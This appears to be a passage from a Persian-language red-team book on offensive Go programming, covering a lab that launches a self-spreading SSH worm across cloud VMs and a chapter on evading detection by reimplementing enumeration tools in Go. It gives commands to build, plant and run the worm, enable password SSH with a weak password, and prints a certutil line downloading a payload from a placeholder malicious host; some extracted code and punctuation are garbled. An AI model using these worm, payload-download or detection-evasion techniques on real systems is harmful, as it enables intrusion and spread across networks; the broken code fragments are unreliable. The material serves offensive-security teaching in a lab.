 انتخماب  از  تواننمدمی  آلوده  همایمیزبمان  مثمال،  برای.  کنیمد  جلوگیری  تکراری  اسمممممکن  از  تما  بسمممممازیمد  همتما  بمه  همتما  ارتبماط

  پیوت  برای چندرابطه هایمیزبان و کنند،  اسمتفاده کند اسمکن را بعدی زیرشمبکه  میزبان  کدام  اینکه  تعیین  برای تصمادفیشمبه

 ترافیک  همچنین  مکانیزم این میزبان، چندین توسمط یکسمان  اهداف اسمکن  از جلوگیری با. باشمند  داشمته  اولویت هاشمبکه بین

 .دهدمی کاهش را SSH نمایی اسکن

 ورودها و عبور رمزهای  فهرسمممت دو  طریق  از تکرار برای  عبور رمز اسمممپری یک  عنوانبه  تودرتو  هایحلقه  از  عفونت

 و کندمی کپی tmp/ دایرکتوری به  را خود و  دهد،می  انجام( SCP)  امن کپی  پروتکل یک ورود،  از پس.  6 کندمی استفاده

 قربمانی  میزبمان  روی  زمینمهپس  در  کمه  حمالی  در.  زمینمهپس  حمالمت  در  خود  اجرای  از  قبمل  کنمدمی  تنظیم  را  اجرا  مجوزهمای

 خاتمه و پاکسممازی اسممکریپت اجرای  از قبل  timeout برای سممپس و  دهدمی انجام  را  هاروال همان شممود،می  اجرا بعدی

 .خوابدمی خود

 ایمپلنت  کد  رمزگذاری و   کامپایل
  مکانیزم  بر  تمرکز برای. پوسمته  شمبیه  محدود هایفرمان شمامل کنید، ایجاد  را خود  ایمپلنت چگونه  داد نشمان  شمما به  4  فصمل

 کمد  از  شممممممما عوض،  در.  کرد  نخواهیمد  اسمممممتفماده  آزممایشمممممگماه  این  در  ایمپلنمت  کمد  آن  از  شممممممما  بمار،  پیچیمدگی  جمایبمه  کرم

helloworld.go رمزگذاری سپس و  کامپایل برای زیر Base64 کرد خواهید  استفاده  ایمپلنت: 

package main 

import ″fmt ″ 

func main { )( 

fmt.Println(″REPLACE WITH IMPLANT″) 

} 

 .شود ترآسان میزبان ماژول در کد گذاریجای تا کرد خواهید پیدا را  helloworld-b64.txt فایل  کتاب، منابع در

 عفونت اندازیراه

 به بازگردید، خود  Google Cloud کنسمول به. کنید آماده اولیه قربانی میزبان کردن  آلوده برای  را کرم که اسمت  آن وقت

 شمکل به)  کنید کلیک patient0 ورودی برای  SSH  کشمویی منوی روی و بروید، Compute Engine  هاینمونه بخش

 (.کنید مراجعه 5-8

  کلیک  Authorize روی. کنید بازخوانی را خود مجوز توکن بخواهد شمما از  اسمت  ممکن و  کندمی باز  جدید  پنجره  یک  این

 .باشد شما مرورگریدرون SSH جلسه باید حالا جدید پنجره. دهید ادامه تا  کنید

 شدهکامپایل پیش از باینری واردات

  توانید می  ندارید،(  شده توصیف  بعد بخش  در که) Base64  شدهرمزگذاری  خط  هاتن  دستی  گذاریجای  به  تمایل یا  وقت  اگر

 Upload File  روی  شموید، متصمل  patient0 میزبان به  SSH از اسمتفاده با.  کنید اسمتفاده  شمدهکامپایل  پیش  از  باینری  از

 .کنید آپلود را worm-implant-1.2-bin.zip و  کنید، کلیک راست  سمت بالا در

 :کنید کپی tmp/ پوشه به را آن و کنید خارج زیپ حالت از را آن خانه، پوشه در bin فایل آپلود از پس
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 $cd ~ 

 $unzip worm-implant-1.2-bin.zip 

 $chmod +x worm-implant-1.2-bin 

 $cp ./worm-implant-1.2-bin /tmp 

 .کنید دنبال کامل را بعدی بخش اید،کرده انتخاب را طولانی راه اگر

 ایمپلنت دستی گذاریجای
 بالا در. دهید انتقال  را خود نیاز مورد محلی Go  هایفایل  توانیدمی هسمممتید،  patient0  به SSH  اتصمممال  در که  هنگامی

  ssh-worm-implant-1.2.go و helloworld.go  هایفایل و  کنید کلیک Upload File  روی صمفحه، راسمت  سممت

 در. کنند مسمدود را  دانلود خود  بدافزار اسمکن هایقابلیت به بسمته  اسمت ممکن  مرورگرها برخی. کنید آپلود  خانه  پوشمه به  را

 .کنید بازنویسی دانلود به دادن اجازه برای را هاآن باشید مجبور است ممکن صورت، آن

 نسمممخه  که  کنید تأیید سمممپس و کنید اجرا خود Go نسمممخه روزرسمممانیبه  برای را  زیر هایفرمان  ها،فایل آپلود تأیید از پس

 (:کندمی ایجاد خطا SSH کلاینت کد با که دارند تریقدیمی نسخه موجود apt-get هایبسته) کنیدمی اجرا را 1.25.1

 $wget https://go.dev/dl/go1.21.5.linux-amd64.tar.gz 

 $sudo tar -C /usr/local -xzf go1.21.5.linux-amd64.tar.gz 

 $echo ′export PATH=$PATH:/usr/local/go/bin′ >> ~/.bashrc 

 $source ~/.bashrc 

 $go version 

 :کنید کامپایل را helloworld باینری کردید، آپلود را Go هایفایل که کاری پوشه همان در

 $go build helloworld.go 

// Alternatively, use go compile -o helloworld helloworld.go. 

 $base64 > ./hello-base64.txt 

 :کنید اجرا ssh-worm-implant-1.2.go برای بسته هایوابستگی اندازیراه برای را زیر هایفرمان بعد،

 $cd ~ 

 $mkdir worm-implant 

 $mv ssh-worm-implant-1.2.go ./worm-implant 

 $cd worm-implant 

 $go mod init worm 
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 $go mod tidy 

 $go mod download 

 حفظ را  گذاریفاصمممله که شممموید  مطمئن و  کنید،  گذاریجای  هاتیکبک بین را  Base64  شمممدهرمزگذاری  blob محتوای

 (.ببینید را 9-5 شکل)  کنیدمی

 

 ها تیکبک بین Base64 شدهرمزگذاری ایمپلنت نمونه گذاریجای : 9-5 شکل

 روی  2.4MB به  9KB از  را  میزبان  قالب و اسممت خط چندین  کندمی اسممتفاده  helloworld  از فقط که  Base64  ایمپلنت

 :کنید اجرا را زیر استاندارد build فرمان آن، گذاریجای از پس. دهدمی  گسترش دیسک

 $go build -o worm ssh-worm-implant-1.2.go 

 $cp ./worm /tmp 

 .کنیم اندازیراه را کرم و  کنیم ایجاد نهایی تغییر یک باید داریم، خود جای در را زیرساخت که حالا

 SSH  عبور رمز  هویت  احراز سازیفعال
 را  آن ما  که دارند، تعامل به نیاز هافرمان  چون  شممود،نمی شممامل ایشممدهجاسممازی  bash  اسممکریپت هیچ  Terraform کد

 SSH کلیمد  بر  مبتنی  هویمت  احراز از  فقط GCP  فرض،پیش طوربمه حماضمممممر،  حمال در. ایمنیمافتمه اعتمماد قمابمل ممداوم طوربمه

 .کندمی استفاده

 برای عبور رمز و کاربر یک کردن  اضمافه  از  پس  را هاسمرویس و  کنید  فعال دیمن در  را عبور رمز  هویت  احراز باید شمما

  اجرا را زیر  موارد و شممموید متصمممل patient0 به SSH طریق  از.  کنید مجدد  اندازیراه  آن اسمممپری تلاش در کرم  هدف

 :کنید

 #Add rttd user . 

sudo useradd -m rttd 

sudo passwd rttd 

< #Set password as admin >. 

 #Optionally add user to sudoers. 
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sudo usermod -aG sudo rttd 

 #Allow SSH password auth. 

sudo vim /etc/ssh/sshd_config 

 #Change line to 

PasswordAuthentication yes 

 #Restart services. 

sudo systemctl restart sshd 

 و  کنیمد،  ذخیره  دهیمد،  تغییر را SSHD  پیکربنمدی کردیمد،  تنظیم را عبور  رمز و  کردیمد  اضمممممافمه را  rttd  کماربر کمه  هنگمامی

 تکرار  patient2  و  patient1  برای  ممانمدهبماقی  VM  هماینمونمه  روی را  مراحمل  این.  کنیمد  مجمدد  انمدازیراه  را  سمممممرویس

 :کنید اجرا را زیر موارد ها،میزبان بین اتصال بیشتر آزمایش برای.  کنید

 $ssh rttd@patient<num > 

 در آزمایشممگاه این برای محافظ چندین  که  حالی در. کنید فعال  اول  میزبان  روی عمدی طوربه  را کرم که هسممتید آماده حالا

 تصممادفی طوربه  که شممدید متوجه  یا کنیدمی ناراحتی احسمماس کرم  اجرای زمان  از نقطه هر  در اگر  دارد، وجود  خود جای

  جلوگیری  بیشتر  گسمترش  از  تا کنید  خاموش  را  نمونه  سمه هر  سمادگیبه اید،کرده متصمل غیرمجاز شمبکه یک به  را  آزمایشمگاه

 .کنید

 اول  میزبان  کردن آلوده
 زیر صمممورتبه زمینهپس در  را کرم  باینری و بروید tmp/ پوشمممه به ،patient0 در خود موجود SSH  جلسمممه درون  از

 :کنید اجرا

 $cd /tmp / 

/. $worm & 

 $ls -lah 

 $cat worm.log 

 $tail -f worm.log 

.  ببینید   گزارش خروجی  در را  ایمپلنت سممازیشممبیه و  اولیه بار  اجرای و  کنید  پایش  را کرم  پیشممرفت بود خواهید  قادر شممما

 دهید فرصمت  آن  به دقیقه سمه یا دو. کند  SSH خدمات  با  مسمتقرشمده دیگر  میزبان دو  برای اسمکن به  شمروع  آرامیبه باید کرم

 کنید باز tmp/ در را گزارش  فایل و شموید وارد patient2 برای  SSH  جلسمه یک به سمپس شمود،  تکثیر patient0 از تا

 (.10-5 شکل)  ببینید را  پیشرفت تا
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 patient2 روی کرم هایفعالیت گزارش فایل وضعیت: 10-5 شکل

 شممبکه روی هایمیزبان سممایر برای  هااسممکن و اسممت، کرده  کپی مشممابه  هایخروجی با VM نمونه سممه  هر به  را خود کرم

 آلوده  قبل  از دیگران  که اندکرده کشف و اندکرده شروع بعدا    را  خود هایاسکن که—بعدی  آلوده  VM هاینمونه. یافت  ادامه

 .کرد خواهند  اجتناب ایمپلنت اجرای برای تلاش از—هستند

 خلاصه 
  Base64 شمدهرمزگذاری باینری بار  یک و  هافرمان که شمبکه  بر  مبتنی کرم یک  توسمعه  برای Go از شمما  فصمل، این  در

 کند، شمممناسمممایی را بالقوه  هایhoneypot تواندمی کرم چگونه که دیدید. کردید اسمممتفاده کندمی  اجرا  ایمپلنت عنوانبه  را

  EDR  هشمدارهای  از  جلوگیری  برای بندیزمان  backoff با عبور رمز  هایاسمپری و  کند، کشمف  را خود شمبکه  زیرشمبکه

 قبل  از  هایعفونت  برای سممممپس و  کند کپی SSH  داخلی SCP هایقابلیت  از اسممممتفاده با  را خود بود  قادر کرم.  دهد انجام

 سمرعتبه  را  C2  ایمپلنت این  توانسمتیدمی پایه،  فرار هایروش  از  اسمتفاده با. کند بررسمی قفل  فایل  یک  از اسمتفاده  با موجود

  هایآدرس فقط  دادمی اجازه کرم  به  فرضپیش پاکسمازی  اسمکریپت  یک کمپین،  یک پایان  در. دهید  مقیاس شمبکه سمراسمر  در

RFC 1918  دهد خاتمه را خود محدود زمان یک از پس و دهد قرار هدف را. 
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 LOLBins بدون محلی  شمارش 6
 

 فعال  فراوانی و  اجرا، سرعت  فرمان،  از استفاده اساس  بر را  رفتاری تشخیص الگوهای توانندمی رایج شمارش  هایتکنیک

 را خود محلی  هدف  میزبان چگونه کرد خواهیم کشف و  کرد، خواهیم بررسمی  را  جایگزین رویکردهای  فصمل،  این  در.  کنند

 گرفت خواهید یاد.  کنید شممممارش  مشمممابه  هایفرمان و ،hostname، whoami مانند  بومی هایباینری از اسمممتفاده بدون

 .کنید تکرار تشخیص از اجتناب برای Go از استفاده با را  پرکاربرد LOLBin دسته پنج عملکرد چگونه

 .است شده نصب شما انتخابی عاملسیستم روی Go که کنندمی فرض فصل این هایمثال

LOLBinچیست؟   ها 
LOLBin،ماهیت  و هسممتند محلی عاملسممیسممتم  از بخشممی که هسممتند  هاییباینری ،«زمین  در زندگی هایباینری»  مخفف ها  

 از سممموساسمممتفاده برای هاییراه سمممیاه کلاه هم و سمممفید کلاه بازیگران هم زمان، گذشمممت با حال، این با.  دارند غیرمخرب

 ابزار یک Certutil.exe مثال،  برای. اندیافته  ضممرربی ظاهر حین  در  مخرب  اقدامات انجام  برای LOLBin عملکردهای

 اجمازه  این.  کنمدمی  ممدیریمت  را  گواهی  خمدممات  و  دیجیتمال  همایگواهی  کمه  اسمممممت Microsoft Windows در  فرممان  خط

  مخرب   اهداف برای  تواندمی  داخلی  قابلیت  این.  کنید  دانلود محلی سمیسمتم به  خاص هایپرچم  از اسمتفاده  با  را  هافایل دهدمی

 :شود استفاده هدف میزبان به بدافزار و ابزارها رساندن برای

certutil.exe -urlcache -f http://malicious.url/hapyy.exe Sad.exe 

 malicious.url از  را  خود  مخرب  بار  دهدمی  اجازه  شما  به (f-) اجباری  بازنویسی  پرچم  با urlcache ویژگی  از  استفاده
 .کنید ذخیره Sad.exe عنوانبه محلی صورتبه را آن و کنید دانلود

 کنیم  اجتناب هاLOLBin از چرا
 LOLBin پایش و اسمتفاده  با  مرتبط  امضما بر  مبتنی و  رفتاری هایبررسمی امروزی  رایج  تشمخیص  هایسمیسمتم  از  بسمیاری
  بمه  کممک  برای  هماLOLBin از Red Canary مماننمد  ابزار  همایکیمت  و MITRE ATT&CK مماننمد  هماییچمارچوب.  دارنمد
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 از سموساسمتفاده  با همراه گسمترده، آزمایش این.  اندکرده اسمتفاده خود تشمخیصمی هایقابلیت آزمایش در SOC تیم  اعضمای
LOLBinاز اسممتفاده  هر که  معناسممت این به تهدید، بازیگران توسممط  ها LOLBin داده  تشممخیص  سممرعتبه  احتمالا   امروز  

 .شد خواهد

 برای.  داد  خواهند  تشمخیص فورا    را هاLOLBin هایاسمتفاده ترینمخرب مدرن تشمخیص  هایسمیسمتم از بسمیاری واقع،  در

 کند، اسمممتفاده آمیزشمممرارت  اهداف برای LOLBin یک از چگونه  کندمی جسمممتجو  جدید  کنندهتسمممت یک که  هنگامی مثال،

  مهاجم  یک اوقات گاهی. شممممودمی  داده  تشممممخیص  فورا   بنابراین  کند،می  پیسممممت و  کپی Google از  را دقیق نحو  معمولا  

 با  تنها نه  هاآن چون شممودمی  ترسممخت  این اما بزند، دور  تشممخیص  از تا  کندمی  ترکیب یا دهدمی  تغییر  را هافرمان باتجربه

 رفتاری تشمخیص  هایسمیسمتم.  دارند سمروکار جدیدتر هایسمیسمتم در  رفتاری  یادگیری و AI با بلکه  امضما بر  مبتنی  تشمخیص

 این. کنندمی شمناسمایی  مخرب فعالیت  نشمانگرهای  عنوانبه  را LOLBin اجرای سمریع توالی یا سمازیزنجیره  مانند الگوهایی

  بیشمممتر  در کنند؛ تحلیل  شمممما نظر مورد  هدف  تعیین برای  را  هاآن و  کنند ردیابی  را  شمممما  اقدامات تمام  توانندمی  هاسمممیسمممتم

 سممازش  رفتاری  نشممانگر یک SOC به و  کنند،می مسممدود را  اجرا  دارید، مخرب  نیت  شممما  که  کنندمی  تعیین  هاآن موارد،
(BIOC) دهندمی هشدار. 

  میزبان   به را  هافایل  باشمید  داشمته  نیاز اسمت  ممکن)  کنید اجتناب  هاLOLBin همه  از  نباشمد ممکن  همیشمه اسمت  ممکن  اگرچه

 قبل  را  کنید  اجرا  هدف  میزبان  روی دارید  قصمد  که  هاییفعالیت تمام  باید ،(مثال برای کنید، اسمتخراج  داده یا  کنید  کپی  هدف

  اجرا را  خود  دفاعی  ابزارهای  توانیدمی  آن در  که  دارند آزمایشمی  محیط  یک هاعملیات  از بسمیاری.  بگیرید نظر در  ادامه  از

 .کنید تعیین تولید محیط به رفتن از قبل را مشکل ایجاد یا شدن گرفتار احتمال تا کنید آزمایش را هافرمان و  کنید

 توانیمدمی  کمه  هماییداده  و  کنیمد  اجرا  توانیمدمی  کمه  دارد  وجود  همافرممان  از  پمایمانیبی  تعمداد  جمدیمد،  همدف  یمک  شمممممممارش  هنگمام

 اسمتفاده بدون  را  داده  بیشمترین دهندمی اجازه  شمما به که کرد  خواهد  تمرکز  فرمان  دسمته  پنج بر  فصمل این اما کنید، آوریجمع

 کد بعد بخش در و کرد، خواهیم شمروع  کلی طوربه هافرمان درباره بح  با ما.  کنید آوریجمع  اسمتاندارد هایLOLBin از

 این  به فقط که  باشمید  داشمته توجه. کرد خواهیم  ترسمیم اسمت ممکن که جایی در  هاآن تکرار  برای را  عاملسمیسمتم  از  مسمتقل

 یا  تغییر با دیگر  هایفرمان برای  را کار همین  توانیدنمی  که  نیسممت  معنا  این به کردیم توافق  فرمان  پنج  این روی ما که  دلیل

  قرار هدف  برای را کد بخواهید اسممت ممکن خود، آزمایش در  که  باشممید  داشممته توجه همچنین. دهید  انجام کد کردن  اضممافه

 .کنید ساده خاص هایعاملسیستم دادن

 و ها،سممرویس فرایندها، و  فایروال؛ و شممبکه  پیکربندی میزبان؛ نام ها؛گروه و کاربران  عامل؛سممیسممتم از عبارتند  دسممته پنج

 .اجرا حال در شدهبندیزمان وظایف

 عامل سیستم
. بسازد مؤثر و  هدفمند  گریایحرفه کندمی کمک قرمز تیم  اپراتور به  چون است حیاتی  قرمز تیم  برای عاملسیستم شمارش

 ابزارها  از بزنند، دور  عاملسمیسمتم خاص  هایدفاع  از  کنند،  انتخاب  را  مناسمب برداریبهره هایروش دهدمی  اجازه  هاآن به

 .کنند تنظیم را برداریبهره از پس اقدامات و  کنند، استفاده مناسب هایفرمان و

LOLBinاز عبارتند عاملسیستم رایج های: 

Linux/Mac: uname -a 

Windows: winver 
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 ها گروه  و   کاربران
 احتمالی، نادرسممت  هایپیکربندی  بالا،  ارزش با هایحسمماب  کندمی  کمک شممما به شممما هدف هایگروه و کاربران شمممارش

 و  امتیازات ارتقای تواندمی این. کنید  شمناسمایی  را خود  فعلی کاربر  زمینه و شموند،  برداریبهره اسمت  ممکن  که ضمعف  نقاط

 .کند تسهیل را اجتماعی مهندسی عملیات و پایداری،  جانبی، حرکت برداری،بهره

 .ببینید دسته این در رایج هایمثال برای را 1-6 جدول

 

 گروه  و کاربر رایج هایLOLBin :1-6 جدول

 .کرد خواهید روزرسانیبه محلی  شبکه و میزبان هایپیکربندی درباره را خود بعد، بخش در

 

 میزبان  نام
  حرکت  برداری،بهره  گذاری،هدف برای  ارزشمممممندی  زمینه  قرمز  تیم engagement یک  طول در میزبان نام شمممممارش

 مثال، برای) کند آشمممکار  را هدف سمممیسمممتم عملکرد یا نقش  تواندمی  این.  کندمی  فراهم  فرار  هایتاکتیک و پایداری، جانبی،

DC-01.domain.com بینشمممی  و  کند،  فراهم حمله مسمممیرهای برای هاییسمممرنخ ،(باشمممد دامنه  کنندهکنترل یک  تواندمی  

 .دهد ارائه جانبی حرکت به  دستیابی به کمک برای شبکه  توپولوژی درباره

 .hostname از است عبارت Windows و ،Linux، Mac برای  میزبان نام LOLBin ترینرایج

 فایروال  و شبکه  پیکربندی
  ها،VLAN  مسیرها،  ،IP فضای  مانند) شبکه توپولوژی درباره  جزئیاتی شما محلی  هدف  فایروال و  شبکه  پیکربندی شممارش

 .کندمی فراهم حمله مسیرهای و جانبی حرکت برای احتمالی اهداف سایر از تصویری  همچنین و (بندیتقسیم و

 .کندمی فهرست را دسته این در رایج هایLOLBin 2-6 جدول

 

 فایروال و شبکه پیکربندی رایج هایLOLBin :2-6 جدول
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 .دهیم ادامه فرایند اطلاعات با  بیایید است؛ شروع فقط شبکه اطلاعات

 اجرا  حال  در شدهبندیزمان وظایف   و   ها،سرویس فرایندها،
 اجتناب برای قرمز تیم engagement یک طول در اجرا  حال در  شمدهبندیزمان  وظایف و ها،سمرویس  فرایندها، شممارش

 هایمثال برای  را 3-6  جدول. اسمت حیاتی حسماس  داده برداشمت و  پایداری،  جانبی، حرکت  امتیازات،  ارتقای  تشمخیص،  از
LOLBin ببینید دسته این از. 

 

 شدهبندیزمان وظایف و ها،سرویس فرایندها، برای رایج هایLOLBin :3-6 جدول

 اسممتفاده متفاوت هایروش از که اسممت آن وقت. ایدکرده روزرسممانیبه را محلی شمممارش انجام  برای رایج  ابزارهای حالا

 .نکنیم فعال داخلی هایباینری روی را هشدارها تا  کنید

 از اجتناب  اهداف. کرد  خواهید ایجاد شممممد بح   تازه  که  شمممممارش  دسممممته  پنج  برای را  خود  ابزارهای  شممممما بخش، این  در

  اجتناب  و  داخلی،  سمیسمتمی  هایفراخوان  از اجتناب اسمت،  ممکن  که جایی در عاملسمیسمتم  از مسمتقل کد از اسمتفاده تشمخیص،

 .هستند مشابه پوسته توابع یا فرمان اجرای از

 خود محلی ماشمین روی  را  آن عملکرد  بتوانید تا کرد خواهید  اجرا Go مفسمر از اسمتفاده با را کد شمما  فصمل، این  هدف برای

 عاملسیستم  برای Go با  را  آن  واقعی، عملیات  در  کد  از  استفاده  برای.  کنید  آزمایش و  مشاهده تولید  در  کردن  امتحان  از  قبل

 :کنید کامپایل زیر صورتبه هدف

 .کنید ایجاد mkdir folder_name با خود پروژه برای پوشه  یک .1

 .بروید cd folder_name با خود پروژه پوشه به .2

 .کنید اولیه مقداردهی go mod init tool_name با را خود  پروژه .3

4. go mod tidy که شمود  حاصمل  اطمینان تا  کنید  اجرا  را go.mod منعکس   را ماژول واقعی هایوابسمتگی دقیق طوربه  

  تمیز   وابسمتگی گراف یک حفظ به این.  دارد  وابسمتگی  یکپارچگی برای  را صمحیح رمزنگاری هایهش go.sum و  کندمی

 .کندمی  کمک پروژه برای سازگار و

 .کنید استفاده create tool_name.go با go. فایل یک به فصل این کد کپی برای خود علاقه مورد  ویرایشگر از .5

6. go get gopkg در باره  این در  بیشممتر) کنید  اجرا کد در  شممدهاسممتفاده لازم ثال  شممخص کتابخانه هر نصممب  برای را 

 .(119 صفحه در «هاگروه و کاربران»

 .بسازید go build app_name tool_name.go با را خود  برنامه .7
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 عامل سیستم گزارش   و   تشخیص
  اجرا  آن روی کد که عاملیسمممیسمممتم گزارش و وجوپرس برای runtime کتابخانه  از  ،os.go  ،1-6  فهرسمممت  در Go کد

 .کندمی استفاده شودمی

package main 

import ( 

″fmt″ 

″runtime″ 

) 

func main() { 

os := detectOS() 

fmt.Printf(″Detected Operating System: %s\n″, runtime.GOOS) 

fmt.Printf(″This system is associated with: %s\n″, os) 

} 

func detectOS() string { 

switch os := runtime.GOOS; os { 

case ″windows″: 

return ″Windows″ 

case ″darwin″: 

return ″macOS″ 

case ″linux″: 

return ″Linux″ 

case ″freebsd″: 

return ″FreeBSD″ 

case ″openbsd″: 

return ″OpenBSD″ 

case ″netbsd″: 
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return ″NetBSD″ 

case ″android″: 

return ″Android″ 

case ″ios″: 

return ″iOS″ 

default: 

return ″Unknown Operating System″ 

} 

} 

 هدف  عاملسیستم شمارش: 1-6 فهرست

  عاملسمیسمتم  یک  دهدمی نشمان  که  پیامی با را کرده پیدا  که عاملیسمیسمتم  مقدار ندهد، تشمخیص  را  عاملسمیسمتم  برنامه  این اگر

 هایعاملسمیسمتم  کشمف هنگام  را  بیشمتری هایcase switch دهدمی اجازه شمما به  این.  داد خواهد  گزارش اسمت  ناشمناخته

 کد گسترش و اضافی تحقیق انجام برای شدهگزارش عاملسیستم مقدار  از  توانیدمی. کنید  اضافه آینده هایعملیات  در  اضافی

 .کنید استفاده اساس این بر

 :گرداندبرمی را زیر خروجی macOS روی os.go اجرای

$ go run os.go 

Detected Operating System: darwin 

This system is associated with: macOS 

 از و کنید بررسمی بیشمتر را runtime کتابخانه  توانیدمی دارید، نیاز  عاملسمیسمتم  معماری  مانند  اضمافی، اطلاعات  به اگر

 .کنید استفاده آن goarch فراخوانی

 

 ها گروه  و   کاربران برای Active Directory وجویپرس
  دارند،  مشمابهی  بسمیار رویکردهای macOS و Linux .دارد بسمتگی عاملسمیسمتم به هاگروه و کاربران شممارش هایروش

 cat و cat /etc/passwd توانیمدمی Linux در  مثمال،  برای.  هسمممممتنمد  متفماوت  بسمممممیمار Windows و Linux امما
/etc/group در که  حالی  در  کنید،  اجرا را Windows دایرکتوری در باید C:\users مانند فرمانی از یا  کنید  بررسمممی 

net user در مانند  شممبکه، بر  مبتنی هایگروه و کاربران  به اگر اسممت  متفاوت بیشممتر  شمممارش. کنید اسممتفاده Active 
Directory، کنید نگاه محلی موارد مقابل در. 
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 برای  را ldap بسمممته باید کنید، اجرا گروه و کاربر شممممارش برای  را  فصمممل  این  سمممفارشمممی  برنامه  بتوانید اینکه  از قبل

  نصممب  سممپس و الزامات فهرسممت  یک سمماخت برای  را مراحل  این.  کنید نصممب و  دانلود Active Directory وجویپرس

 :کنید دنبال لازم هایفرمان

 .کنید ایجاد mkdir ug با خود کد برای پوشه  یک .1

 .بروید cd ug با جدید پوشه به .2

 .کنید ذخیره و کنید، گذاریجای آن در را 2-6 فهرست کنید، ایجاد خود علاقه مورد  ویرایشگر با را ug.go فایل .3

 .کنید اولیه مقداردهی go mod init ug با را خود  پروژه .4

5. go mod tidy کنید اجرا را. 

 .کنید اجرا آن دستی نصب برای را go get gopkg.in/ldap.v2 نکرد، نصب را ldap بسته go mod tidy فرمان اگر

package main 

import ( 

″bufio″ 

″fmt″ 

″os″ 

″os/user″ 

″runtime″ 

″strings″ 

″gopkg.in/ldap.v2″ 

) 

// Group represents a user group. 

type Group struct { 

Name string 

Users []string 

} 

// GetAllUsers retrieves all users on the system. 

func GetAllUsers() ([]*user.User, error) { 

var users []*user.User 
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currentUser, err := user.Current() 

if err != nil { 

fmt.Println(″Error retrieving network interfaces:″, err) 

return 

} 

for _, iface := range interfaces { 

fmt.Printf(″Interface: %s\n″, iface.Name) 

addrs, err := iface.Addrs() 

if err != nil { 

fmt.Println(″Error retrieving addresses:″, err) 

continue 

} 

for _, addr := range addrs { 

fmt.Printf(″ Address: %s\n″, addr.String()) 

} 

} 

} 

// GetDefaultGateway retrieves and prints the default gateway. 

func GetDefaultGateway() { 

routes, err := netlink.RouteList(nil, 4) 

if err != nil { 

fmt.Println(″Error retrieving routes:″, err) 

return 

} 

for _, route := range routes { 

if route.Dst == nil { // Default route 
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fmt.Printf(″Default Gateway: %s\n″, route.Gw.String()) 

return 

} 

} 

fmt.Println(″No default gateway found.″) 

} 

func main() { 

// Retrieve and print network interfaces. 

GetNetworkInterfaces() 

// Retrieve and print default gateway. 

GetDefaultGateway() 

} 

 هدف  سیستم شبکه  پیکربندی  جزئیات بازیابی: 4-6 فهرست

nt.go کنید اجرا زیر صورتبه را: 

 $go run nt.go 

Interface: lo0 

Address: 127.0.0.1/8 

Address: ::1/128 

Address: fe80::1/64 

Interface: gif0 

Interface: stf0 

Interface: anpi0 

Interface: anpi2 

Interface: anpi1 

Interface: en1 

Interface: en2 
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Interface: en3 

Interface: bridge0 

Interface: utun0 

Address: fe80::568f:c3c9:b230:4c9d/64 

Interface: utun1 

Address: fe80::bfaf:d200:44b:8e26/64 

Interface: ap1 

Interface: en0 

Address: fe80::884:937 

 .بگیرید را  فایروال پیکربندی توانیدمی حالا دست، در عاملسیستم شبکه پیکربندی با

Windows 

 .گرداندبرمی را فعلی شدهفهرست قواعد و کندمی بررسی را Windows Firewall وضعیت ،wfw.go ،5-6 فهرست

package main 

import  ( 

″bytes″ 

″fmt ″ 

″log ″ 

″os/exec″ 

) 

// runCommand executes a command and returns its output . 

func runCommand(command string, args ...string) (string, error)  { 

cmd := exec.Command(command, args...) 

var out bytes.Buffer 

cmd.Stdout = &out 

var stderr bytes.Buffer 

cmd.Stderr = &stderr 
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err := cmd.Run )( 

if err != nil  { 

return ″″, fmt.Errorf(″%s: %s″, err, stderr.String()) 

} 

return out.String(), nil 

} 

// checkFirewall checks if the Windows Firewall is enabled. 

func checkFirewall { )( 

output, err := runCommand(″netsh″, ″advfirewall″, ″show,″ 

″allprofiles )″ 

if err != nil  { 

log.Fatalf(″Failed to get firewall status: %v″, err) 

} 

fmt.Println(″Firewall Status:″) 

fmt.Println(output) 

} 

// listFirewallRules lists all the firewall rules . 

func listFirewallRules{ )( 

output, err := runCommand(″netsh″, ″advfirewall″, ″firewall″, ″show ,″ 

″rule″, ″name=all )″ 

if err != nil  { 

log.Fatalf(″Failed to list firewall rules: %v″, err) 

} 

fmt.Println(″Firewall Rules:″) 

fmt.Println(output) 

} 
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func main { )( 

checkFirewall )( 

listFirewallRules)( 

} 

 Windows Firewall قواعد و وضعیت بازگرداندن: 5-6 فهرست

wfw.go کنید اجرا زیر صورتبه  را: 

C:\ go run wfw.go 

Firewall Status : 

Domain Profile Settings: 

 ---------------------------------------------------------------------- 

State OFF 

Firewall Policy BlockInbound,AllowOutbound 

LocalFirewallRules N/A (GPO-store only) 

LocalConSecRules N/A (GPO-store only) 

InboundUserNotification Enable 

RemoteManagement Disable 

UnicastResponseToMulticast Enable 

Logging : 

LogAllowedConnections Disable 

LogDroppedConnections Disable 

FileName %systemroot%\system32\LogFiles\Firewall \ 

pfirewall.log 

MaxFileSize 4096 

--snip -- 

 آزمایش  هنگام که اسممت هاییمزاحمت  شممماربی  دلیلبه  رویکرد  این.  کنید توجه  netsh و  os/exec کتابخانه از اسممتفاده به

 موفقیت با wfw.go ما، هایآزمایش در.  شمدیم  روبرو  هاآن با مختلف دسمترسمی  سمطوح با Windows نسمخه چندین  در کد
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 از  هشممداری هیچ  کردن فعال  بدون شممد،  اجرا فعلی Windows  هایعاملسممیسممتم  درصممد  99  روی غیرمدیر  دسممترسممی با

Windows Defender یا Cortex XDR از Palo Alto Networks. 

macOS 
 را اسمممممت  فعمال  کمه  ایقماعمده  هر  و  کنمدمی  بررسمممممی را  macOS  داخلی فمایروال  وضمممممعیمت  ،mfw.go ،6-6  فهرسمممممت

 .بگیرید دقیق نتایج تا کنید اجرا بالا حقوق با را کد این باید که باشید داشته توجه. گرداندبرمی

package main 

import  ( 

″bytes″ 

″fmt ″ 

″os/exec″ 

″strings ″ 

) 

// checkFirewallStatus checks if the macOS packet filter is enabled. 

func checkFirewallStatus() (bool, error)  { 

cmd := exec.Command(″sudo″, ″pfctl″, ″-s″, ″info″) 

var out bytes.Buffer 

cmd.Stdout = &out 

cmd.Stderr = &out // Capture stderr too . 

err := cmd.Run )( 

if err != nil  { 

return false, fmt.Errorf(″command failed: %v, output: %s″, err, out.String()) 

} 

output := strings.TrimSpace(out.String()) 

// If output contains ″Status: Enabled″, the firewall is active . 

return strings.Contains(output, ″Status: Enabled″), nil 

} 

// listFirewallRules lists the firewall rules on macOS. 
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func listFirewallRules() ([]string, error)   { 

cmd := exec.Command(″sudo″, ″pfctl″, ″-sr″) // Using pfctl to list rules. 

var out bytes.Buffer 

cmd.Stdout = &out 

cmd.Stderr = &out // Capture stderr too 

err := cmd.Run )( 

if err != nil  { 

return nil, fmt.Errorf(″command failed: %v, output: %s″, err, out.String()) 

} 

